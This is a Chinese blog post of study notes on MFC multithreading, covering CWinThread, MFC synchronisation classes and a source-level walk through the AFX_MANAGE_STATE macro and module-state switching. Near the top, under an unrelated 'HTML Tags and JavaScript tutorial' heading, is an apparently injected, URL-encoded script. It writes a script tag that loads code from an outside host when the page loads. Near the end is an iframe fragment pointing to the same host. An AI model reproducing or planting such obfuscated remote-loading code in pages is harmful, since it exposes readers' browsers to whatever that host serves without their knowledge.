继续学习MFC——第11章多线程技术

这篇博客主要聚焦于MFC的第11章,详细讲解了如何在MFC中应用多线程技术,包括线程的创建、管理以及与模块(DLL)的交互,适合想要提升MFC多线程编程能力的读者。
摘要由CSDN通过智能技术生成
 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
继续学习MFC——第11章多线程技术




要知道MFC类一般不是线程安全的,这点要时刻牢记。
 
书中前两个小节简单说了一下进程和线程:
对于Windows平台,进程简而言之就是一个应用程序,线程实际上是处理器寄存器的一个映像。线程包括应用程序在哪儿执行代码和线程的本地变量等信息。进程可以有多个线程,共享该进程中的全局变量和资源,但是拥有各自的执行点和本地变量。
 
 
MFC里面用CWinThread对象表示所有线程。CWinApp恰好从CWinThread派生,代表主线程。
 
为了使用一个线程,需要从CWinThread派生出自己的类,然后重载InitInstance, ExitInstance,并通过AfxBeginThread来创建线程对象。
 
CWinThread中包含几个成员变量和函数,我们关心如下几个:




成员



定义





m_pMainWnd



该线程的主窗口





m_pActiveWnd



当前活动窗口





m_hThread, m_nThreadID



线程句柄和ID





InitInstance, ExitInstance



重载提供线程的初始化和终结





PreTranslateMessage



过滤消息,处理快捷键



还有不少,到时候参考帮助文档吧。
 
 
线程同步,看MFC不如看Windows SDK更清楚一些,MFC提供的如下几个同步对象类:CEvent, CMutex, CSemaphore, CCriticalSection等。
 
书中给出了一个MFC多线程的例子,我感兴趣的地方是每个DLL函数入口都要求使用AFX_MANAGE_STATE宏,MFC源代码中也有不少地方在使用。让我们仔细研究一下它。
 
典型用法为:AFX_MANAGE_STATE(AfxGetStaticModuleState());
 
该宏定义在afxstat_.h中(VC7):




#define
AFX_MANAGE_STATE(p) AFX_MAINTAIN_STATE2 _ctlState(p);   
// 用 p 构造结构



注意:仅当 _AFXDLL被定义时才有。无 _AFXDLL定义时该宏什么也不做。
 
其中AFX_MAINTAIN_STATE2定义为一个结构:




struct
AFX_MAINTAIN_STATE2

{

    
explicit
AFX_MAINTAIN_STATE2(AFX_MODULE_STATE* pModuleState);   
// 显式构造函数。

     ~AFX_MAINTAIN_STATE2();          
// 这里面一定还干着什么勾当,我们一会去看

 

protected
:

     AFX_MODULE_STATE* m_pPrevModuleState;     
// 下面接着去看

     _AFX_THREAD_STATE* m_pThreadState;

};



 
先看看AfxGetStaticModuleState()函数:(实现于dllmodul.cpp)




static
_AFX_DLL_MODULE_STATE afxModuleState;                 
// 在_AFXDLL定义下生效

AFX_MODULE_STATE* AFXAPI AfxGetStaticModuleState()

{

     AFX_MODULE_STATE* pModuleState = &afxModuleState;     
// 返回模块状态对象地址

    
return
pModuleState;

}



 
_AFX_DLL_MODULE_STATE的定义如下:




class
_AFX_DLL_MODULE_STATE :
public
AFX_MODULE_STATE  
// 派生于 AFX_MODULE_STATE

{

public
:

    
// AfxWndProcDllStatic 函数包装 AfxWndProc 调用,在前面调用 AFX_MANAGE_STATE

     _AFX_DLL_MODULE_STATE() : AFX_MODULE_STATE(TRUE, AfxWndProcDllStatic, _MFC_VER) {}

};

LRESULT CALLBACK AfxWndProcDllStatic(HWND hWnd, UINT nMsg, WPARAM wParam, LPARAM lParam)

{

     AFX_MANAGE_STATE(&afxModuleState);       
// 哦,这里也。。。

    
return
AfxWndProc(hWnd, nMsg, wParam, lParam);

}



 
下面是AFX_MODULE_STATE的定义,好复杂呀:




// AFX_MODULE_STATE (global data for a module)

class
AFX_MODULE_STATE :
public
CNoTrackObject

{

public
:

    
// 仔细观察这个构造函数的参数名字和类型

     AFX_MODULE_STATE(BOOL bDLL, WNDPROC pfnAfxWndProc, DWORD dwVersion,BOOL bSystem = FALSE);

     ~AFX_MODULE_STATE();

 

     CWinApp* m_pCurrentWinApp;          
// AfxGetApp() 返回就是它

     HINSTANCE m_hCurrentInstanceHandle; 
// AfxGetInstanceHandle() 返回它

     HINSTANCE m_hCurrentResourceHandle; 
// AfxGetResourceHandle() 返回它

     LPCTSTR m_lpszCurrentAppName;        
// AfxGetAppName() 返回它

     BYTE m_bDLL;   
// TRUE if module is a DLL, FALSE if it is an EXE

     BYTE m_bSystem;
// TRUE if module is a "system" module, FALSE if not

     BYTE m_bReserved[2];
// padding

     WNDPROC m_pfnAfxWndProc;

     DWORD m_dwVersion; 
// version that module linked against

    
// define thread local portions of module state

     CThreadLocal<AFX_MODULE_THREAD_STATE> m_thread;   
// 这是一个线程局部变量

    
// 这下面还有一大堆我们删减掉了。。。

};



注意:有些成员外面带有_AFXDLL宏定义才生效的我们删减掉了。
 
这时,我们应该知道前面的afxModuleState里面都有些什么东西啦。
现在我们明白了AfxGetStaticModuleState()返回了什么,让我们接着看AFX_MAINTAIN_STATE2的构造和析构函数:




AFX_MAINTAIN_STATE2::AFX_MAINTAIN_STATE2(AFX_MODULE_STATE* pNewState)

{

     m_pThreadState = _afxThreadState;             
// ?好像是当前线程的状态

     m_pPrevModuleState = m_pThreadState->m_pModuleState;   
// 保存原来的模块状态

     m_pThreadState->m_pModuleState = pNewState;             
// 切换到新的模块

}



 
很奇怪,没有找到AFX_MAINTAIN_STATE2的析构函数,只能拿AFX_MAINTAIN_STATE的析构函数来分析了:(估计差不多)




AFX_MAINTAIN_STATE::~AFX_MAINTAIN_STATE()

{

     _AFX_THREAD_STATE* pState = _afxThreadState;

     pState->m_pModuleState = m_pPrevModuleState;       
// 恢复到原来保存的模块状态

}



 
 
至此,我们应该能够理解定义AFX_MAINTAIN_STATE2 _ctlState的含义了,在定义处调用了构造函数,完成模块状态切换;在析构(一般是函数返回处)中切换回去。
 
[
好像噢
]每个线程(CWinThread派生的)都有自己的线程状态(_afxThreadState),而HWND->CWnd, HMENU->CMenu, HDC->CDC, HGDIOBJ->CGdiObject等对象映射表都是线程相关的,所以。。。在一个线程无法映射另一个线程的HWND, HMENU等对象的:)
 
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值